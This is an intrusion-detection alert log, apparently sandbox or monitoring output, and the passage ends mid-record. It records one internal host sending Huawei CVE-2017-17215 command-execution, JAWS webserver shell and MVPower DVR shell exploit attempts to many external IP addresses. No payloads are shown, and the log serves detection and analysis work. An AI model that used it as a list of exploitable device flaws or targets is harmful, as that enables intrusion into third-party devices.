ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.52.23.232

Timestamp:	06/01/24-18:15:56.307512
SID:	2835222
Source Port:	54276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.136.81

Timestamp:	06/01/24-18:15:54.254086
SID:	2829579
Source Port:	49882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.29.90

Timestamp:	06/01/24-18:15:54.273948
SID:	2829579
Source Port:	47462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.170.125.222

Timestamp:	06/01/24-18:15:54.255942
SID:	2835222
Source Port:	42316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.100.188.83

Timestamp:	06/01/24-18:15:53.238457
SID:	2030092
Source Port:	44104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 27.59.60.107

Timestamp:	06/01/24-18:15:56.244879
SID:	2025883
Source Port:	44768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.83.61

Timestamp:	06/01/24-18:15:56.288050
SID:	2829579
Source Port:	53540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.103.151.78

Timestamp:	06/01/24-18:15:55.272743
SID:	2030092
Source Port:	38762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.55.10.217

Timestamp:	06/01/24-18:15:54.254890
SID:	2829579
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.211.74

Timestamp:	06/01/24-18:15:54.275319
SID:	2829579
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.80.139

Timestamp:	06/01/24-18:15:55.260639
SID:	2835222
Source Port:	49868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.169.205.31

Timestamp:	06/01/24-18:15:56.307292
SID:	2835222
Source Port:	49158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.155.85.246

Timestamp:	06/01/24-18:15:55.267822
SID:	2030092
Source Port:	55206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.128.8

Timestamp:	06/01/24-18:15:56.306153
SID:	2835222
Source Port:	59834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.69.210

Timestamp:	06/01/24-18:15:55.260266
SID:	2835222
Source Port:	50294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.112.193.48

Timestamp:	06/01/24-18:15:55.261955
SID:	2829579
Source Port:	47172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.89.44.248

Timestamp:	06/01/24-18:15:54.253439
SID:	2829579
Source Port:	39642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.247.151.83

Timestamp:	06/01/24-18:15:56.245947
SID:	2025883
Source Port:	52912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.150.25

Timestamp:	06/01/24-18:15:56.308362
SID:	2835222
Source Port:	35150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.60.75.137

Timestamp:	06/01/24-18:15:53.240394
SID:	2030092
Source Port:	49442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.57.81.216

Timestamp:	06/01/24-18:15:55.261422
SID:	2835222
Source Port:	41992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 176.78.160.138

Timestamp:	06/01/24-18:15:54.239986
SID:	2025883
Source Port:	44968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.207.173.145

Timestamp:	06/01/24-18:15:55.261750
SID:	2835222
Source Port:	49726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 136.107.130.201

Timestamp:	06/01/24-18:15:53.240582
SID:	2030092
Source Port:	40758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.73.159

Timestamp:	06/01/24-18:15:54.273986
SID:	2835222
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.183.143

Timestamp:	06/01/24-18:15:55.259667
SID:	2835222
Source Port:	53642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.11.107

Timestamp:	06/01/24-18:15:55.260163
SID:	2835222
Source Port:	37114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.246.90

Timestamp:	06/01/24-18:15:54.275438
SID:	2835222
Source Port:	50042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.27.95.98

Timestamp:	06/01/24-18:15:55.263159
SID:	2835222
Source Port:	42834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.110.247.233

Timestamp:	06/01/24-18:15:54.255707
SID:	2835222
Source Port:	51746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 25.119.127.189

Timestamp:	06/01/24-18:15:53.247444
SID:	2030092
Source Port:	38426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 144.192.66.230

Timestamp:	06/01/24-18:15:53.241044
SID:	2025883
Source Port:	45540
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.121.144.224

Timestamp:	06/01/24-18:15:56.287929
SID:	2835222
Source Port:	36728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.16.244

Timestamp:	06/01/24-18:15:56.306870
SID:	2835222
Source Port:	49334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.5.242.217

Timestamp:	06/01/24-18:15:53.238770
SID:	2030092
Source Port:	58574
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.169.149.73

Timestamp:	06/01/24-18:15:54.253358
SID:	2829579
Source Port:	52420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.125.82.99

Timestamp:	06/01/24-18:15:54.256207
SID:	2835222
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 135.144.55.37

Timestamp:	06/01/24-18:15:56.255002
SID:	2030092
Source Port:	55288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 27.184.243.158

Timestamp:	06/01/24-18:15:56.246697
SID:	2025883
Source Port:	55516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.208.140.239

Timestamp:	06/01/24-18:15:54.253978
SID:	2829579
Source Port:	33038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.177.91

Timestamp:	06/01/24-18:15:54.275830
SID:	2835222
Source Port:	40262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.114.137

Timestamp:	06/01/24-18:15:56.308033
SID:	2835222
Source Port:	46284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.8.69.158

Timestamp:	06/01/24-18:15:56.307898
SID:	2835222
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.249.69.78

Timestamp:	06/01/24-18:15:54.239670
SID:	2030092
Source Port:	54808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.50.144

Timestamp:	06/01/24-18:15:54.275552
SID:	2835222
Source Port:	58124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.13.166.240

Timestamp:	06/01/24-18:15:54.239777
SID:	2030092
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.246.39

Timestamp:	06/01/24-18:15:54.255200
SID:	2835222
Source Port:	56718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.11.214.49

Timestamp:	06/01/24-18:15:54.274132
SID:	2835222
Source Port:	38926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.19.157.15

Timestamp:	06/01/24-18:15:54.274295
SID:	2835222
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.67.191

Timestamp:	06/01/24-18:15:55.259394
SID:	2835222
Source Port:	46300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.167.44.181

Timestamp:	06/01/24-18:15:53.238818
SID:	2030092
Source Port:	34108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.162.34

Timestamp:	06/01/24-18:15:54.274630
SID:	2835222
Source Port:	60168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.56.224.81

Timestamp:	06/01/24-18:15:53.237569
SID:	2030092
Source Port:	42174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.9.188

Timestamp:	06/01/24-18:15:54.254666
SID:	2829579
Source Port:	38622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.88.211.171

Timestamp:	06/01/24-18:15:55.266473
SID:	2030092
Source Port:	52190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.189.208.197

Timestamp:	06/01/24-18:15:56.246505
SID:	2025883
Source Port:	52478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.179.173.118

Timestamp:	06/01/24-18:15:54.237960
SID:	2025883
Source Port:	41606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.194.176.69

Timestamp:	06/01/24-18:15:53.239148
SID:	2030092
Source Port:	36520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.109.247

Timestamp:	06/01/24-18:15:54.252427
SID:	2829579
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.235.115.106

Timestamp:	06/01/24-18:15:53.241576
SID:	2025883
Source Port:	45266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.50.165.9

Timestamp:	06/01/24-18:15:55.261120
SID:	2829579
Source Port:	48334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.206.114.48

Timestamp:	06/01/24-18:15:53.239684
SID:	2030092
Source Port:	40992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.183.52

Timestamp:	06/01/24-18:15:54.253466
SID:	2835222
Source Port:	45918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.142.129.181

Timestamp:	06/01/24-18:15:53.241504
SID:	2030092
Source Port:	54708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.46.243.209

Timestamp:	06/01/24-18:15:54.240566
SID:	2030092
Source Port:	41472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.150.168.22

Timestamp:	06/01/24-18:15:54.274024
SID:	2835222
Source Port:	52602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.68.148.229

Timestamp:	06/01/24-18:15:54.252981
SID:	2835222
Source Port:	60494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.140.185.178

Timestamp:	06/01/24-18:15:55.267406
SID:	2030092
Source Port:	51734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 12.95.201.102

Timestamp:	06/01/24-18:15:53.240024
SID:	2025883
Source Port:	55394
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.39.112.106

Timestamp:	06/01/24-18:15:54.240600
SID:	2030092
Source Port:	38122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.230.78

Timestamp:	06/01/24-18:15:54.253940
SID:	2835222
Source Port:	36686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.61.236.189

Timestamp:	06/01/24-18:15:55.266193
SID:	2030092
Source Port:	40980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.251.227.241

Timestamp:	06/01/24-18:15:55.233813
SID:	2829579
Source Port:	49364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.229.110

Timestamp:	06/01/24-18:15:54.254035
SID:	2835222
Source Port:	50018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.152.213.185

Timestamp:	06/01/24-18:15:54.239931
SID:	2030092
Source Port:	35692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.47.174.21

Timestamp:	06/01/24-18:15:54.254785
SID:	2835222
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.86.105.40

Timestamp:	06/01/24-18:15:56.246876
SID:	2030092
Source Port:	49412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 97.94.234.176

Timestamp:	06/01/24-18:15:55.267759
SID:	2030092
Source Port:	53386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.184.181

Timestamp:	06/01/24-18:15:56.308485
SID:	2835222
Source Port:	56528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 137.234.162.150

Timestamp:	06/01/24-18:15:54.237830
SID:	2025883
Source Port:	36480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.121.54.211

Timestamp:	06/01/24-18:15:56.306951
SID:	2835222
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.125.186.113

Timestamp:	06/01/24-18:15:54.251939
SID:	2829579
Source Port:	35612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.160.105.72

Timestamp:	06/01/24-18:15:54.275477
SID:	2829579
Source Port:	45632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.19.154

Timestamp:	06/01/24-18:15:54.256497
SID:	2835222
Source Port:	34852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 73.230.71.26

Timestamp:	06/01/24-18:15:56.246254
SID:	2030092
Source Port:	32796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.139.79.120

Timestamp:	06/01/24-18:15:53.241304
SID:	2025883
Source Port:	42066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.183.217.79

Timestamp:	06/01/24-18:15:56.246905
SID:	2030092
Source Port:	35964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.135.116.139

Timestamp:	06/01/24-18:15:56.255398
SID:	2030092
Source Port:	43720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.68.105

Timestamp:	06/01/24-18:15:55.260064
SID:	2829579
Source Port:	42688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.249.12.23

Timestamp:	06/01/24-18:15:54.257008
SID:	2829579
Source Port:	58146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.43.208.255

Timestamp:	06/01/24-18:15:54.254230
SID:	2829579
Source Port:	49224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.117.7

Timestamp:	06/01/24-18:15:55.262933
SID:	2835222
Source Port:	43420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.126.149.65

Timestamp:	06/01/24-18:15:56.288115
SID:	2835222
Source Port:	54864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 113.32.208.233

Timestamp:	06/01/24-18:15:53.240843
SID:	2025883
Source Port:	40970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.247.219

Timestamp:	06/01/24-18:15:54.253499
SID:	2835222
Source Port:	34684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.201.243.104

Timestamp:	06/01/24-18:15:55.265864
SID:	2030092
Source Port:	46648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.14.133.63

Timestamp:	06/01/24-18:15:54.253835
SID:	2835222
Source Port:	50112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.150.2

Timestamp:	06/01/24-18:15:54.252052
SID:	2835222
Source Port:	53482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.178.48

Timestamp:	06/01/24-18:15:55.261312
SID:	2835222
Source Port:	35684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.246.84.41

Timestamp:	06/01/24-18:15:56.306706
SID:	2829579
Source Port:	37724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.108.129.83

Timestamp:	06/01/24-18:15:55.263597
SID:	2829579
Source Port:	37740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.131.30.5

Timestamp:	06/01/24-18:15:55.267233
SID:	2030092
Source Port:	40240
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.37.13.98

Timestamp:	06/01/24-18:15:54.253014
SID:	2829579
Source Port:	55216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.109.78.181

Timestamp:	06/01/24-18:15:54.254747
SID:	2829579
Source Port:	45572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.96.115

Timestamp:	06/01/24-18:15:56.308000
SID:	2829579
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 98.220.77.102

Timestamp:	06/01/24-18:15:53.247074
SID:	2025883
Source Port:	45146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.69.223.73

Timestamp:	06/01/24-18:15:53.247394
SID:	2025883
Source Port:	44764
Destination Port:	80
